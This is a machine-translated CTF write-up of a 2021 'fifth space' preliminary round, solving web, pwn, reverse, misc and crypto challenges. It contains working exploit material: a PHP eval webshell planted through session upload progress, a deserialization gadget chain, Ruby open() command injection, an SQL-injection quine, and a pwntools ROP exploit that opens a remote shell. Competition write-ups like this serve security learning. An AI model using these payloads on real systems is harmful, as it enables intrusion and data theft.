WP of the preliminary competition of the third "fifth space" cyber security competition

Posted by pro on Sat, 25 Dec 2021 13:02:16 +0100

Preliminary competition of the third "fifth space" cyber security competition

Official account: Th0r security

web

  • webftp

Sweep path to 1 txt. .
Direct access 1 Txt can see the flag, because it is a static target, so it should be put in by other masters. I dare not say and I dare not ask.

f1ag{g28F28EPTjRoxM9sNBDtMS3ZPuIPXL6A}

  • EasyCleanup

Open is the source code. See that any file contains, as well as command execution.
First pass? mode=eval can assign the shell phpinfo to view the session information

Here is the session upload_ progress. Cleanup is off, and session files will not be automatically cleared
So it should be possible to use session upload_ Progress contains files. The file length is limited to 15, which only needs to be controlled in exp
PHPSEEID can be a little shorter

import io
import requests
import threading
sessid = 'aa'
def write_session(session):
url = 'http://114.115.134.72:32770/index.php'
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1/session.php?file=/tmp/sess_'+sessid,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files=
{'file': ('fmyyy.txt',f)}, cookies={'PHPSESSID': sessid} )
if __name__ == '__main__':
with requests.session() as session:
write_session(session)

At this time, the session file has been written, and the path should be / TMP / sessions_ aa
We try to include

Successful command execution

system(‘cat /*’); Get the flag.
flag{8b39ace789479585ae8b1e16c113161a}

  • ppklovecloud

Open the source code

<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

Simple deserialization
get passes the pks parameter for deserialization. The following echo is performed for the instance generated by deserialization. There are in the acp class__ toString method, so the starting point is acp class
Keep looking__ toString

function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}

Here, you can arbitrarily control the value of $this - > cinder and call its echo_name() method, which is available in ace class. So control $this - > cinder = new ace()
Look at this method

function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}

As long as $this - > openstack - > neutron = = = $this - > openstack - > nova, then control $this - > filename to read any file. See how these two values come from $this - > openstack is deserialized by $this - > docker. Nova and neutron variables exist in acp class, so control $this - > docker as the serialization string of acp class. Here, $this - > openstack - > neutron = $heat assigns neutron to the nonexistent variable $heat, which becomes null, so both variables of acp class can be assigned null.
poc
Run first

<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
public function __construct(){
$this->neutron = '';
$this->nova = '' ;
}
}
$A = new acp();
echo urlencode(serialize($A));

result

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A7%3A%22neutron%2
2%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22nova%22%3Bs%3A0%3A%22%22%3B%7D

after

<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
public function __construct(){
$this->neutron = '';
$this->nova = '' ;
$this->cinder = new ace();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
public function __construct(){
$this->filename = 'flag.php';
$this->docker =
'O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A7%3A%22neutr
on%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22nova%22%3Bs%3A0%3A%22%22%3B%7D';//Previous poc
 result
}
}
$A = new acp();
echo urlencode(serialize($A));
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3
%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%
3BN%3Bs%3A6%3A%22docker%22%3Bs%3A145%3A%22O%253A3%253A%2522acp%2522%253A3%253A%2
57Bs%253A9%253A%2522%2500%252A%2500cinder%2522%253BN%253Bs%253A7%253A%2522neutro
n%2522%253Bs%253A0%253A%2522%2522%253Bs%253A4%253A%2522nova%2522%253Bs%253A0%253
A%2522%2522%253B%257D%22%3B%7Ds%3A7%3A%22neutron%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%
22nova%22%3Bs%3A0%3A%22%22%3B%7D

After passing the parameters, find the flag in the f12 source code

The heat variable is in flag PHP.. It includes (flag.php). I don't know why I can get through
flag{fXM75u5IqcaEwdIibN4DOpHGGnyi}

  • PNG Picture Converter

Attachment download source code

require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename]
&& params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file]
[:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~
/^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src=
\"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end

The source code is ruby
There is an upload and a conversion.

Upload files are filtered here. The extension name must be png. After a test, it doesn't seem to go around
Create a png file and write something to see.

upload

The base64 encoding information of the picture is obtained. This string of Base64 codes is the content of the file we uploaded. I have no idea here, but I feel that I have been prompted here in the source code of / convert

The passed in file parameter is also filtered here. It cannot contain... And / or prevent directory traversal, so the file should not be read. But they all prompt don hack me, and the file name and content are completely controllable. I feel that something can be done here. I looked online

This article is about the vulnerability of the Net::FTP module, but it is mentioned here

The open function uses the system command to open the file without filtering shell characters. As a result, any command can be injected when the user controls the file name. The pipeline character begins with "|" and executes the command after the pipeline character In other words, ruby's open function can lead to command execution. Let's look at the logic

As long as the above filtering requirements are met, the file parameter can be directly spliced into the open function to cause command injection. As for how to echo, we can consider writing to the file here. First upload an empty file and get the file name 56724dcaa4f075510b8171002d2a36a6 png .
Construct in / convert

file=|echo `whoami`> 56724dcaa4f075510b8171002d2a36a6.png

No error was reported.
Let's read 56724dcaa4f075510b8171002d2a36a6 directly Content of png

Decode it

If the command is executed successfully, the flag should be in the root directory, because the / filter is considered to be written in base64 coding, and then executed in SH. If sh, there must be two png files. Upload another one and remember the file name
405391431ca1ac9b33f35add1f4ef55c.png. Step 1: file = |echo "y2f0ic8q" |base64 - d > 0784368baeb4d0a58b04309f20df6f2e Pngy2f0ic8q is the base64 encoding of cat / *, and then execute file = |sh0784368baeb4d0a58b04309f20df6f2e png>405391431ca1ac9b33f35add1f4ef55c.png finally directly reads file = 405391431cac9b33f35add1f4ef55c png

See the data echo
Decode it

flag{Tvauy36vE0Mwt9WYOZVOR3dlNT9JTiX4}

  • yet_another_mysql_injection

It's a login interface.

Tips in the source code. visit? Source to see the source code

At first, I thought it was a simple sql injection. All the information can be injected with benchmark() time blind injection, but the flag is not in the database. Then I thought it was not found in the sys system library. That should be a different idea. Take a look at the logic of getting the flag.

if (isset($_POST['username']) && $_POST['username'] != '' &&
isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and
password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

In the users table, the query condition for password is username ='admin 'and password =' $password ', which is the value we passed. The query result is then strongly compared with the password we passed. If it is equal, die($FLAG); In other words, we need to construct an sql statement so that the query statement and the output result are exactly the same.

https://www.shysecurity.com/post/20140705-SQLi-Quine

This article is very clear, and the payload in it can be used directly. Just ensure that the internal statements of the replace function are replaced followed by external consistency.
payload of the original text

SELECT REPLACE(REPLACE('SELECT
REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS
Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT
REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine

/ * * / is used to filter the spaces. Because we are using union injection for joint query, quotation marks + Union and the closing comment character #, which is used in the front of the statement, are added? replace , this only yes rise reach occupy position symbol of do use . because by , this is just a placeholder. because , this is just a placeholder. Because it was replaced with?, So the third char(39) is replaced by char (63) Replace Quine with in.
Changed payload

UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR
(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#',CHAR(34),CHAR(39)),CHAR(63),'"UNION/**
/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#')/**
/AS/**/a#

Directly post the following data

username=admin&password='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**
/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#',CHAR(34),CHAR
(39)),CHAR(63),'"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(
63),"?")/**/AS/**/a#')/**/AS/**/a#


flag{4xTfpXWtBbrSNtCB48S39jtyHfIUylIh}

pwn

  • bountyhunter

Very basic stack overflow constructs rop to get shell, uses pop rdi as a gadget to pass in parameters, and finally gets shell

from pwn import*
io = remote("139.9.123.168",32548)
elf = ELF('./pwn')
libc = elf.libc
pop_rdi = 0x040120b
bin_sh_addr = 0x403408
system_addr = 0x40115C
payload = ''
payload += p64(pop_rdi)
io.sendline(b'A'*0x90 + p64(0) + p64(pop_rdi) + p64(bin_sh_addr) +
p64(system_addr))
io.interactive()

flag{GXaaWi8DWieSxP4IeOlLCSWLTe0G}

RE

  • StrangeLanguage

Python packaged pyd file

Unpack according to normal process

import brainfuck
brainfuck.main_check()

Finally called the pyd file, similar to the dll file.
Ida open search string

The online search is brainfuck encryption. The online script is used to convert python. After opening, there are thousands of lines of code. There is a flag header in front, followed by encryption, S[i]=S[i]^S[i+1], and the string is dynamically adjusted to write the script

#include<stdio.h>
#include<string.h>
char s[100]={
83,15,90,84,80,85,3,2,0,7,86,7,7,91,9,0,80,5,2,3,93,92,80,81,82,84,90,95,2,87,7,
52};
char q[100];
int main(){
for(int i=30;i>=0;i--){
s[i]=s[i]^s[i+1];
}
for(int i=0;i<=30;i++){
q[i]=s[i];
}
q[31]=52;
puts(q);
return 0;
}


flag{d78b6f30225cdc811adfe8d4e7c9fd34}

misc

  • alpha10

Download the attachment to get alpha10 Data, and then the foremost is separated

A jpg picture, a png picture
The two images are the same. I guess it should be a blind watermark. It can be separated by using bwm script.
bwm script address: https://github.com/chishaxie/BlindWaterMark
Named 1 Jpg and 1 Png BWM script separation
Command Python bwmforpy3 py decode 1. jpg 1. png flag. png

You get the flag png

Very mushy, but you can vaguely see words. It should be flag. Try using Stegsolve to flag Compare PNG with himself


MUL(R,G,B separate) channel should be the clearest. Look with the naked eye and get the flag after blind guessing
flag{XqAe3QzK2ehD5fWv8jfBitPqHUw0}

  • Sign in


flag{welcometo5space}

crypto

  • ecc

The first topic is to find the discrete logarithm directly, and the second topic is to find pohlig according to the tips of the source code_ For Hellman attack, you can directly find the library. For SSSA attack, you can find the script smartattack. 2,3 script github is a ready-made pohlig_hellman

from sage.all import *
def pohlig_hellman(curve, G, H, verbose=False):
def log(*args, **kwargs):
if verbose:
print(*args, **kwargs)
n = curve.order()
log(f"Order = {n}")
factors = factor(n, verbose=1 if verbose else 0)
log(f"Factorization: {factors}")
v = []
moduli = []
# 1. Decompose one DLP to many DLPs
for p_i, e_i in factors[:-1]:
log(f"{p_i}**{e_i}: ", end="")
order = p_i ** e_i # Order of new group
moduli.append(order)
power = n // order # Power to make new generator and point
G_i = G * power
H_i = H * power
x_i = G_i.discrete_log(H_i, order) # H_i = x_i*G_i mod p_i**e_i
log(x_i)
v.append(x_i)
# 2. Use CRT to solve congruences x = x_i mod p_i**e_i
x = CRT_list(v, moduli)
return x % n

smartattack

from sage.all import EllipticCurve
from sage.all import Qp
from sage.all import ZZ
# Lifts a point to the p-adic numbers.
def _lift(curve, point, gf):
x, y = map(ZZ, point.xy())
for point_ in curve.lift_x(x, all=True):
x_, y_ = map(gf, point_.xy())
if y == y_:
return point_
def attack(base, multiplication_result):
"""
Solves the discrete logarithm problem using Smart's attack.
More information: Smart N. P., "The discrete logarithm problem on elliptic
curves of trace one"
:param base: the base point
:param multiplication_result: the point multiplication result
:return: l such that l * base == multiplication_result
"""
curve = base.curve()
gf = curve.base_ring()
p = gf.order()
assert curve.trace_of_frobenius() == 1, f"Curve should have trace of
Frobenius = 1."
lift_curve = EllipticCurve(Qp(p), list(map(lambda a: int(a) + p *
ZZ.random_element(1, p), curve.a_invariants())))
lifted_base = p * _lift(lift_curve, base, gf)
lifted_multiplication_result = p * _lift(lift_curve, multiplication_result,
gf)
lb_x, lb_y = lifted_base.xy()
lmr_x, lmr_y = lifted_multiplication_result.xy()
return int(gf((lmr_x / lmr_y) / (lb_x / lb_y)))

flag{025ab3d9-2521-4a81-9957-8c3381622434}

  • doublesage

Observe his questions 1 and 2. The errors are relatively loose, so directly connect them and hit them with the last vector. After several times, they passed the first level, and the directly copied c passed the second level.

It's unexpected
flag{tdhOh8zCMmH5m4i8bKUeTqhFdWQH}

Topics: security Web Security